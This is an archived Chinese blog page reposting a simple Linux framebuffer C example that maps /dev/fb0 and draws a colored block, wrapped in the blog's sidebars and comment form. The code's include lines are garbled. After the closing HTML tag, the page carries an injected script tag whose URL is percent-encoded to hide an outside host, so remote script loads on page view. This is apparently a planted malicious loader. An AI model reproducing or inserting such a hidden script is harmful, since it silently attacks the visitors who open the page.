一段framebuffer的示例程序(转)--bruce点点滴滴.htm
来自「S3C44B0X下的LCD (framebuffer)驱动资料与相关代码」· HTM 代码 · 共 339 行 · 第 1/2 页
HTM
339 行
<LI><A title="发表于2006-6-3 10:12:00"
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/25572.shtml">我做科研的几点体会(转)</A>
<LI><A title="发表于2006-5-28 13:19:00"
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/24575.shtml">ld 命令中文讲解</A>
<LI><A title="发表于2006-5-22 16:41:00"
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/23645.shtml">看门狗复位后RAM数据是否会清空(转</A>
<LI><A title="发表于2006-5-18 16:41:00"
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/22902.shtml">SWI 指令</A>
<LI><A title="发表于2006-5-12 19:47:00"
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/21683.shtml">在 Linux 中使用中星微 301</A>
<LI><A title="发表于2006-5-12 19:41:00"
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/21681.shtml">力特 ZK-ID6 USB红外线成功</A>
</LI></UL></DIV></TD></TR></TBODY></TABLE>
<TABLE class=panel cellSpacing=1 cellPadding=4 width="99%" align=center
border=0>
<TBODY>
<TR>
<TD class=panel-title>Latest Comments</TD></TR>
<TR>
<TD class=panel-content>
<DIV id=comment>
<UL>
<LI><A title="caiyankun发表于2006-11-1 21:06:00"
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/4768.shtml#43066">Re:TCL/TK 与&n</A>
<LI><A title="JELLIF发表于2006-9-17 15:55:00"
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/22902.shtml#34366">Re:SWI 指令</A>
<LI><A title="eowl发表于2006-9-3 10:30:00"
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/43139.shtml#33364">Re:关于男人应该做到的几点</A>
<LI><A title="000发表于2006-5-17 10:52:00"
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/20543.shtml#24677">Re:点阵汉字显示[转]</A>
<LI><A title="打打发表于2006-5-15 19:58:00"
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/6511.shtml#24562">Re:解决使用 Dev-C</A>
<LI><A title="孤独客发表于2006-5-15 19:57:00"
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/6511.shtml#24561">Re:解决使用 Dev-C</A>
<LI><A title="游客发表于2006-5-9 16:30:00"
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/6511.shtml#23958">Re:解决使用 Dev-C</A>
<LI><A title="永生之花发表于2006-4-6 18:46:00"
href="http://blog.lagoo.com.cn/user1/2654/archives/2005/3802.shtml#11094">Re:终于找到了一个合适的blog空</A>
<LI><A title="computer发表于2006-2-22 2:35:00"
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/7752.shtml#5934">RE:回复</A>
<LI><A title="潘朵娜发表于2006-1-20 13:02:00"
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/5082.shtml#3529">Re:愈吃愈瘦的15种食物</A>
</LI></UL></DIV></TD></TR></TBODY></TABLE>
<TABLE class=panel cellSpacing=1 cellPadding=4 width="99%" align=center
border=0>
<TBODY>
<TR>
<TD class=panel-title>Latest Messages</TD></TR>
<TR>
<TD class=panel-content>
<DIV id=newmessage>
<UL>
<LI><A
href="http://blog.lagoo.com.cn/user1/2654/message.shtml#cmt">::签写留言::</A></LI></UL></DIV></TD></TR></TBODY></TABLE>
<TABLE class=panel cellSpacing=1 cellPadding=4 width="99%" align=center
border=0>
<TBODY>
<TR>
<TD class=panel-title>Blog Statistics</TD></TR>
<TR>
<TD class=panel-content>
<DIV id=info>
<UL>
<LI>日志总数:47
<LI>评论数量:46
<LI>留言数量:0
<LI>访问次数:<SPAN id=site_count></SPAN>
<LI><A
href="http://blog.lagoo.com.cn/user_friends.asp?action=saveadd&friendname=bruce"
target=_blank>加为好友</A> <A
href="javascript:openScript('/user_pm.asp?action=send&incept=bruce',450,400)">发送短信</A></LI></UL></DIV></TD></TR></TBODY></TABLE>
<TABLE class=panel cellSpacing=1 cellPadding=4 width="99%" align=center
border=0>
<TBODY>
<TR>
<TD class=panel-title>Links</TD></TR>
<TR>
<TD class=panel-content>
<DIV id=links>
<P><A href="http://blog.csdn.net/justrun2005">justrun2005</A></P>
<P><A
href="http://blog.21ic.org/blog.asp?name=good02xaut">arm牛人的blog</A></P>
<P><A
href="http://threewater.blog.com.cn/index.shtml">三水的blog</A></P>
<P><A
href="http://blog.21ic.com/blog.asp?name=unaided">unaided</A>的硬件笔记</P>
<P><A
href="http://blog.donews.com/idlecat511/">idlecat511</A></P></DIV><B>处理
SSI 文件时出错</B><BR></TD></TR></TBODY></TABLE></TD>
<TD class=mainbox>
<TABLE height=5 cellSpacing=6 cellPadding=0 width="99%" align=center
border=0>
<TBODY>
<TR>
<TD>Welcome to <SPAN
id=blogname>bruce点点滴滴</SPAN></TD></TR></TBODY></TABLE><BR>
<TABLE class=textbox cellSpacing=1 cellPadding=6 width="99%" align=center
border=0>
<TBODY>
<TR>
<TD class=textbox-title background=""><IMG alt=Diary src=""
align=absMiddle><STRONG>一段framebuffer的示例程序(转)</STRONG><BR>[ bruce
发表于 2006-5-8 22:16:00 ]</TD></TR>
<TR>
<TD class=textbox-content><FONT
size=4>比较简单,不过确实可以工作,对演示framebufer的使用方法足够了,呵呵<BR>这是出处:<BR>http://doc.trolltech.com/3.0/emb-framebuffer-howto.html<BR></FONT><PRE><FONT size=4>#i nclude <unistd.h><BR>#i nclude <stdio.h><BR>#i nclude <fcntl.h><BR>#i nclude <linux/fb.h><BR>#i nclude <sys/mman.h><BR><BR>int main()<BR>{<BR> int fbfd = 0;<BR> struct fb_var_screeninfo vinfo;<BR> struct fb_fix_screeninfo finfo;<BR> long int screensize = 0;<BR> char *fbp = 0;<BR> int x = 0, y = 0;<BR> long int location = 0;<BR><BR> // Open the file for reading and writing<BR> fbfd = open("/dev/fb0", O_RDWR);<BR> if (!fbfd) {<BR> printf("Error: cannot open framebuffer device.\n");<BR> exit(1);<BR> }<BR> printf("The framebuffer device was opened successfully.\n");<BR><BR> // Get fixed screen information<BR> if (ioctl(fbfd, FBIOGET_FSCREENINFO, &finfo)) {<BR> printf("Error reading fixed information.\n");<BR> exit(2);<BR> }<BR><BR> // Get variable screen information<BR> if (ioctl(fbfd, FBIOGET_VSCREENINFO, &vinfo)) {<BR> printf("Error reading variable information.\n");<BR> exit(3);<BR> }<BR><BR> printf("%dx%d, %dbpp\n", vinfo.xres, vinfo.yres, vinfo.bits_per_pixel );<BR><BR> // Figure out the size of the screen in bytes<BR> screensize = vinfo.xres * vinfo.yres * vinfo.bits_per_pixel / 8;<BR><BR> // Map the device to memory<BR> fbp = (char *)mmap(0, screensize, PROT_READ | PROT_WRITE, MAP_SHARED,<BR> fbfd, 0);<BR> if ((int)fbp == -1) {<BR> printf("Error: failed to map framebuffer device to memory.\n");<BR> exit(4);<BR> }<BR> printf("The framebuffer device was mapped to memory successfully.\n");<BR><BR> x = 100; y = 100; // Where we are going to put the pixel<BR><BR> // Figure out where in memory to put the pixel<BR> for ( y = 100; y < 300; y++ )<BR> for ( x = 100; x < 300; x++ ) {<BR><BR> location = (x+vinfo.xoffset) * (vinfo.bits_per_pixel/8) +<BR> (y+vinfo.yoffset) * finfo.line_length;<BR><BR> if ( vinfo.bits_per_pixel == 32 ) {<BR> *(fbp + location) = 100; // Some blue<BR> *(fbp + location + 1) = 15+(x-100)/2; // A little green<BR> *(fbp + location + 2) = 200-(y-100)/5; // A lot of red<BR> *(fbp + location + 3) = 0; // No transparency<BR> } else { //assume 16bpp<BR> int b = 10;<BR> int g = (x-100)/6; // A little green<BR> int r = 31-(y-100)/16; // A lot of red<BR> unsigned short int t = r<<11 | g << 5 | b;<BR> *((unsigned short int*)(fbp + location)) = t;<BR> }<BR><BR> }<BR> munmap(fbp, screensize);<BR> close(fbfd);<BR> return 0;<BR>}</FONT></PRE><BR><BR><BR><BR><IMG
src="" align=absMiddle border=0><A
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/20890.shtml#">阅读全文<SPAN
id=ob_logreaded></SPAN></A> | <A
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/20890.shtml#cmt">回复(0)</A>
| <A href="http://blog.lagoo.com.cn/showtb.asp?id=20890"
target=_blank>引用通告<SPAN id=ob_tbnum></SPAN></A> | <A
href="http://blog.lagoo.com.cn/user_post.asp?logid=20890"
target=_blank>编辑</A></TD></TR></TBODY></TABLE>
<DIV id=morelog>
<UL>
<LI>上一篇:<A
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/20543.shtml">点阵汉字显示[转]</A>
<LI>下一篇:<A
href="http://blog.lagoo.com.cn/user1/2654/archives/2006/21675.shtml">Linux的I2C驱动架构(转</A></LI></UL></DIV><B>处理
SSI 文件时出错</B><BR><A name=cmt></A>
<H2>发表评论:</H2>
<DIV id=form_comment>
<FORM id=commentform name=commentform onsubmit="return Verifycomment()"
action=/savecomment.asp?logid=20890 method=post>
<UL>昵称:<INPUT id=UserName maxLength=20 size=15 name=UserName></UL>
<UL>密码:<INPUT id=Password type=password maxLength=20 size=15
name=Password> (游客无须输入密码)</UL>
<UL>主页:<INPUT id=homepage maxLength=50 size=42 value=http://
name=homepage></UL>
<UL>标题:<INPUT id=commenttopic maxLength=50 size=42
value=Re:一段framebuffer的示例程序(转) name=commenttopic></UL>
<UL><INPUT id=edit type=hidden name=edit>
<DIV id=oblog_edit>Blogspot=Load。。。</DIV></UL>
<UL><SPAN
id=ob_code></SPAN><INPUT type=submit value=" 提交 "></UL></FORM></DIV></TD></TR></TBODY></TABLE>
<TABLE height=32 cellSpacing=0 cellPadding=0 width=780 align=center border=0>
<TBODY>
<TR>
<TD style="FONT-SIZE: 9px; COLOR: #666666" align=left><IMG height=36
src="" width=780></TD></TR></TBODY></TABLE><B>处理 SSI 文件时出错</B><BR>
<DIV id=powered><A href="http://www.oblog.cn/" target=_blank><IMG
alt="Powered by Oblog." src="" border=0></A></DIV>
<SCRIPT src=""></SCRIPT>
<SCRIPT src=""></SCRIPT>
<SCRIPT src=""></SCRIPT>
<SCRIPT src=""></SCRIPT>
<SCRIPT src=""></SCRIPT>
</BODY></HTML>
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?